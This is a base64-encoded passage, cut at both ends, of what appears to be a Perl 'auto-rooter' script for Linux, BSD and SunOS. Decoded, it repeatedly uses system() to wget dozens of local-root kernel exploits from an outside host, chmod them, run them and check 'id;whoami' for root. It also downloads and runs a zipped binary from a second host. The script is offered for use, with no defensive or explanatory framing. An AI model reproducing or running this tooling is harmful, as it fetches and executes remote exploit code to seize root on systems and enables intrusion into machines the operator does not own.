IDItNi05LTIwMDYiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjQuMzYuOTIuNi4yNy41IC0gMjAwOCBMb2NhbCByb290Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjQuMzYuOTIuNi4yNy41IC0gMjAwOCBMb2NhbCByb290Iik7DQpzeXN0ZW0oIi4vMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE2NC0yMDEwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0xOTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTk0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMTk0LjEtMjAxMCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE5NC4xLTIwMTAiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTk0LjEtMjAxMCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMi0yMDEwIik7DQpzeXN0ZW0oIi4vMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yLWhvb2x5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMCIpOw0Kc3lzdGVtKCIuLzIuNi4yMCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwLTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMC0yIik7DQpzeXN0ZW0oIi4vMi42LjIwLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCg0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjItMjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgiLi8yLjYuMjItMjAwOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMi02LTg2XzY0LTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMy0yLjYuMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMy0yLjYuMjQiKTsNCnN5c3RlbSgiLi8yLjYuMjMtMi42LjI0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjMtMi42LjI0XzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMy0yLjYuMjRfMiIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjRfMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjI0Iik7DQpzeXN0ZW0oIi4vMi42LjI0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yNy43LWdlbmVyaSIpOw0Kc3lzdGVtKCIuLzIuNi4yNy43LWdlbmVyaSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zMi00Ni4xLkJIc21wIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzItNDYuMS5CSHNtcCIpOw0Kc3lzdGVtKCIuLzIuNi4zMi00Ni4xLkJIc21wIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNV9ob29seXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjYtMzQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42LTM0Iik7DQpzeXN0ZW0oIi4vMi42LjYtMzQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi42LTM0X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzRfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjYtMzRfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNl9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjdfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi44LTIwMDguOS02Ny0yMDA4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOC0yMDA4LjktNjctMjAwOCIpOw0Kc3lzdGVtKCIuLzIuNi44LTIwMDguOS02Ny0yMDA4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjgtNV9oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuOC01X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjhfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuOF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOSIpOw0Kc3lzdGVtKCIuLzIuNi45Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0yMDA0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA0Iik7DQpzeXN0ZW0oIi4vMi42LjktMjAwNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktMjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktMjAwOCIpOw0Kc3lzdGVtKCIuLzIuNi45LTIwMDgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTM0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0zNCIpOw0Kc3lzdGVtKCIuLzIuNi45LTM0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS00Mi4wLjMuRUxzbXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTQyLjAuMy5FTHNtcC0yMDA2Iik7DQpzeXN0ZW0oIi4vMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTU1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NSIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NS0yMDA3LXBydjgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2OCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNTUtMjAwOC1wcnY4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NS0yMDA4LXBydjgiKTsNCnN5c3RlbSgiLi8yLjYuOS01NS0yMDA4LXBydjgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTY3MjAwOCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNjcyMDA4Iik7DQpzeXN0ZW0oIi4vMi42LjktNjcyMDA4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS4yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS4yIik7DQpzeXN0ZW0oIi4vMi42LjkuMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjkxLTIwMDciKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi45MS0yMDA3Iik7DQpzeXN0ZW0oIi4vMi42LjkxLTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMDciKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIwMDciKTsNCnN5c3RlbSgiLi8yMDA3Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA5LWxvY2FsIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMDA5LWxvY2FsIik7DQpzeXN0ZW0oIi4vMjAwOS1sb2NhbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIwMDktd3VuZGVyYmFyIik7DQpzeXN0ZW0oIi4vMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyMSIpOw0Kc3lzdGVtKCIuLzIxIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zIik7DQpzeXN0ZW0oImNobW9kIDc3NyAzIik7DQpzeXN0ZW0oIi4vMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMy40LjYtOS0yMDA3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAzLjQuNi05LTIwMDciKTsNCnN5c3RlbSgiLi8zLjQuNi05LTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzMxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAzMSIpOw0Kc3lzdGVtKCIuLzMxIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zNi1yYzEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDM2LXJjMSIpOw0Kc3lzdGVtKCIuLzM2LXJjMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNCIpOw0Kc3lzdGVtKCIuLzQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzQ0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA0NCIpOw0Kc3lzdGVtKCIuLzQ0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNDciKTsNCnN5c3RlbSgiLi80NyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNSIpOw0Kc3lzdGVtKCIuLzUiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzUwIik7DQpzeXN0ZW0oImNobW9kIDc3NyA1MCIpOw0Kc3lzdGVtKCIuLzUwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNTQiKTsNCnN5c3RlbSgiLi81NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgNiIpOw0Kc3lzdGVtKCIuLzYiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzY3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA2NyIpOw0Kc3lzdGVtKCIuLzY3Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3Iik7DQpzeXN0ZW0oIi4vNyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNy0yIik7DQpzeXN0ZW0oImNobW9kIDc3NyA3LTIiKTsNCnN5c3RlbSgiLi83LTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290Lzd4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3eCIpOw0Kc3lzdGVtKCIuLzd4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC84Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA4Iik7DQpzeXN0ZW0oIi4vOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvOSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOSIpOw0Kc3lzdGVtKCIuLzkiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzkwIik7DQpzeXN0ZW0oImNobW9kIDc3NyA5MCIpOw0Kc3lzdGVtKCIuLzkwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOTQiKTsNCnN5c3RlbSgiLi85NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvTGludXhfMi42LjEyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBMaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiLi9MaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L0xpbnV4XzIuNi45LWpvb2x5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgTGludXhfMi42Ljktam9vbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2FjaWQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGFjaWQiKTsNCnN5c3RlbSgiLi9hY2lkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9kM3ZpbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZDN2aWwiKTsNCnN5c3RlbSgiLi9kM3ZpbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOw0Kc3lzdGVtKCIuL2V4cDEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDIiKTsNCnN5c3RlbSgiLi9leHAyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9leHAzIik7DQpzeXN0ZW0oImNobW9kIDc3NyBleHAzIik7DQpzeXN0ZW0oIi4vZXhwMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwbG9pdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL2V4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9nYXlyb3MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvbGVuaXMuc2giKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxlbmlzLnNoIik7DQpzeXN0ZW0oIi4vbGVuaXMuc2giKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLTIuNi45LTIwMDUtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oIi4vbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHJpdjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7DQpzeXN0ZW0oIi4vcHJpdjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyByb290LnB5Iik7DQpzeXN0ZW0oIi4vcm9vdC5weSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcnVueCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOw0Kc3lzdGVtKCIuL3J1bngiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVidW50dSIpOw0Kc3lzdGVtKCIuL3VidW50dSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2UvdHhmZmd2LnppcCIpOw0Kc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7DQpzeXN0ZW0oImNobW9kICt4IHRyb2xsZWQiKTsNCnN5c3RlbSgiLi90cm9sbGVkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oImNobW9kICt4IDNfWCIpOw0Kc3lzdGVtKCIuLzNfWCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0KDQoNCnByaW50ICJFbmQgTGludXguLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gImJzZCIgKQ0Kew0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7DQpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7DQpwcmludCAiIyAg